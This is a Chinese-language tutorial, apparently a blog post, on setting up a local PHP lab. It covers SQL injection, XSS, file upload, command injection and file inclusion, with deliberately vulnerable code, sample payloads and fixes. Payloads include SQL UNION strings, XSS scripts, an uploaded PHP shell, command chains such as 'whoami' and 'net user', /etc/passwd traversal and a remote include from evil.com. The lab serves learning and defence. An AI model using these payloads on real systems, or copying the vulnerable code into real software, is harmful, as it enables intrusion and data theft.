一、前言:为什么需要自己搭建靶场?
在学习网络安全的过程中,理论知识固然重要,但真正的技能提升来自于实践。然而,直接攻击真实网站是违法的,因此我们需要一个安全的实践环境——渗透测试靶场。
本文旨在搭建一个基于 PHP 的 Web 安全靶场,适合初学者入门学习。靶场包含 5 个基础漏洞,每个漏洞都有详细的复现步骤和防护方案。
基于 PHP 的本地渗透测试靶场搭建方法,涵盖 SQL 注入、XSS、文件上传、命令注入及文件包含五大常见漏洞的原理、复现步骤与防护方案。通过配置 PHPStudy 环境并编写示例代码,演示了漏洞利用过程及对应的安全修复措施,旨在帮助学习者理解 Web 安全机制并在本地环境中进行合法实践。

在学习网络安全的过程中,理论知识固然重要,但真正的技能提升来自于实践。然而,直接攻击真实网站是违法的,因此我们需要一个安全的实践环境——渗透测试靶场。
本文旨在搭建一个基于 PHP 的 Web 安全靶场,适合初学者入门学习。靶场包含 5 个基础漏洞,每个漏洞都有详细的复现步骤和防护方案。
# 1. 下载并安装 PHPStudy
# 2. 启动 Apache 和 MySQL 服务
# 在 PHPStudy 面板中点击启动按钮
# 3. 创建项目目录
# 在 PHPStudy 的 www 目录下创建 web-vuln 文件夹
# C:\phpstudy_pro\WWW\web-vuln\
# 4. 按照以下结构组织文件
web-vuln/
├── index.php # 主页面
├── config.php # 配置文件
├── init.php # 数据库初始化
├── /database/
│ └── init.sql # 数据库 SQL 文件
├── /vulnerabilities/ # 漏洞页面
│ ├── sql_injection/ # SQL 注入漏洞
│ ├── xss/ # XSS 跨站脚本
│ ├── file_upload/ # 文件上传漏洞
│ ├── command_injection/ # 命令注入漏洞
│ └── file_include/ # 文件包含漏洞
├── /secured/ # 安全防护示例
└── /logs/ # 安全日志
SQL 注入是由于程序没有对用户输入进行充分过滤,导致攻击者可以将恶意 SQL 代码插入到查询语句中,从而执行未经授权的数据库操作。
// vulnerabilities/sql_injection/login.php
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'];
$password = $_POST['password'];
// 存在 SQL 注入的代码
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
// 直接执行,没有预处理语句
}
?>
' OR '1'='1' UNION SELECT 1,username,password,4 FROM users --// 使用预处理语句
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
XSS(Cross-Site Scripting)允许攻击者在受害者浏览器中执行恶意 JavaScript 代码。分为反射型 XSS、存储型 XSS 和 DOM 型 XSS。
// vulnerabilities/xss/reflect.php
<?php
$search = $_GET['search'];
// 直接使用用户输入
echo "搜索结果:" . $search;
// 没有进行 HTML 编码
?>
// vulnerabilities/xss/store.php
<?php
// 存储评论到数据库(没有过滤)
$comment = $_POST['comment'];
$sql = "INSERT INTO comments (comment) VALUES ('$comment')";
// 从数据库读取并显示(没有编码)
echo $row['comment'];
?>
http://localhost/web-vuln/vulnerabilities/xss/reflect.php<script>alert('XSS 攻击')</script><img src=x onerror=alert('存储型 XSS')>// 输出时进行 HTML 编码
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// 或使用 Content Security Policy (CSP)
header("Content-Security-Policy: default-src 'self'");
由于没有对上传文件的类型、扩展名、内容进行验证,攻击者可以上传恶意文件(如 PHP 木马)到服务器,进而执行任意代码。
// vulnerabilities/file_upload/upload.php
<?php
if ($_FILES['file']) {
$file_name = $_FILES['file']['name'];
$file_tmp = $_FILES['file']['tmp_name'];
// 没有任何验证,直接保存
move_uploaded_file($file_tmp, 'uploads/' . $file_name);
}
?>
shell.php<?php phpinfo(); ?>shell.php 并上传// 1. 验证文件类型
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($_FILES['file']['type'], $allowed_types)) {
die('不允许的文件类型');
}
// 2. 验证文件扩展名
$allowed_ext = ['jpg', 'jpeg', 'png', 'gif'];
$file_ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
if (!in_array($file_ext, $allowed_ext)) {
die('不允许的文件扩展名');
}
// 3. 重命名文件(避免目录遍历)
$new_name = uniqid() . '.' . $file_ext;
// 4. 设置上传目录权限为不可执行
应用程序将用户输入直接拼接到系统命令中执行,没有进行适当的过滤和验证,导致攻击者可以执行任意系统命令。
// vulnerabilities/command_injection/ping.php
<?php
$host = $_GET['host']; // 用户可控的输入
$cmd = "ping -n 4 " . $host; // 直接拼接命令
$output = shell_exec($cmd); // 执行系统命令
echo $output;
?>
127.0.0.1 && echo Hello127.0.0.1 && whoami127.0.0.1 && dirWindows 系统特殊 payload:
127.0.0.1 && ver # 查看 Windows 版本
127.0.0.1 && ipconfig # 查看网络配置
127.0.0.1 && tasklist # 查看运行进程
127.0.0.1 && net user # 查看系统用户
// 1. 使用白名单验证
function isValidHost($host) {
return filter_var($host, FILTER_VALIDATE_IP) || preg_match('/^[a-zA-Z0-9.-]+$/', $host);
}
// 2. 使用 escapeshellarg 函数
$safe_host = escapeshellarg($host);
$cmd = "ping -n 4 " . $safe_host;
// 3. 禁用危险函数(php.ini 中)
// disable_functions = shell_exec,exec,system,passthru
程序使用用户可控的参数作为文件包含路径,没有进行适当的验证,导致可以包含任意文件,包括系统敏感文件或远程恶意文件。
// vulnerabilities/file_include/include.php
<?php
$page = $_GET['page']; // 用户可控
include($page); // 直接包含,没有验证
?>
?page=../sensitive.txt?page=../../../../Windows/system.ini?page=../../../../etc/passwd?page=php://filter/convert.base64-encode/resource=../../config.phpallow_url_include=On):
?page=http://evil.com/shell.txt// 1. 白名单验证
$allowed_pages = ['home.php', 'about.php', 'contact.php'];
if (!in_array($page, $allowed_pages)) {
die('不允许访问的页面');
}
// 2. 使用 basename 防止目录遍历
$page = basename($_GET['page']);
// 3. 禁用危险配置(php.ini)
// allow_url_fopen = Off
// allow_url_include = Off
-- database/init.sql
CREATE DATABASE IF NOT EXISTS vuln_db;
USE vuln_db;
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(50) NOT NULL,
password VARCHAR(50) NOT NULL,
email VARCHAR(100)
);
INSERT INTO users (username, password, email) VALUES
('admin', 'admin123', '[email protected]'),
('user1', 'password1', '[email protected]'),
('user2', 'password2', '[email protected]');
CREATE TABLE comments (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(50),
comment TEXT,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
// config.php
<?php
// 数据库配置
define('DB_HOST', 'localhost');
define('DB_USER', 'root');
define('DB_PASS', 'root');
define('DB_NAME', 'vuln_db');
// 创建数据库连接
function getConnection() {
$conn = mysqli_connect(DB_HOST, DB_USER, DB_PASS, DB_NAME);
if (!$conn) {
die("数据库连接失败:" . mysqli_connect_error());
}
return $conn;
}
// 安全函数:过滤输入
function safe_input($data) {
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
return $data;
}
?>
// index.php
<!DOCTYPE html>
<html>
<head>
<title>网络安全渗透测试靶场</title>
<style>
/* 样式代码 */
</style>
</head>
<body>
<h1>网络安全渗透测试靶场</h1>
<div>
<div>
<h3>1. SQL 注入漏洞</h3>
<p><a href="vulnerabilities/sql_injection/login.php">测试页面</a></p>
</div>
<div>
<h3>2. XSS 跨站脚本</h3>
<p><a href="vulnerabilities/xss/reflect.php">测试页面</a></p>
</div>
<!-- 其他漏洞卡片 -->
</div>
</body>
</html>
解决方案:
尝试不同的 payload:
' OR 1=1 --
' OR '1'='1
UNION SELECT null,@@version,null --
解决方案:
设置环境变量强制英文输出:
putenv('LANG=en_US.UTF-8');
putenv('LC_ALL=en_US.UTF-8');
使用编码转换函数:
$output = shell_exec($cmd);
$output = mb_convert_encoding($output, 'UTF-8', 'GBK');
解决方案:
检查 PHP 配置:ini
file_uploads = On
upload_max_filesize = 10M
post_max_size = 10M
解决方案:
?page=../test.txt查看 PHP 配置:ini
allow_url_fopen = On # 远程文件包含需要开启
allow_url_include = On # 远程文件包含需要开启
通过搭建这个 PHP 渗透测试靶场,我们不仅学习了 5 种常见 Web 漏洞的原理和利用方法,更重要的是理解了如何防范这些攻击。安全是一个持续的过程,攻防技术都在不断演进。
记住:真正的黑客精神不是破坏,而是创造和保护。希望这个靶场能成为你网络安全学习之路的起点,而不是终点。

微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online
将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online
通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online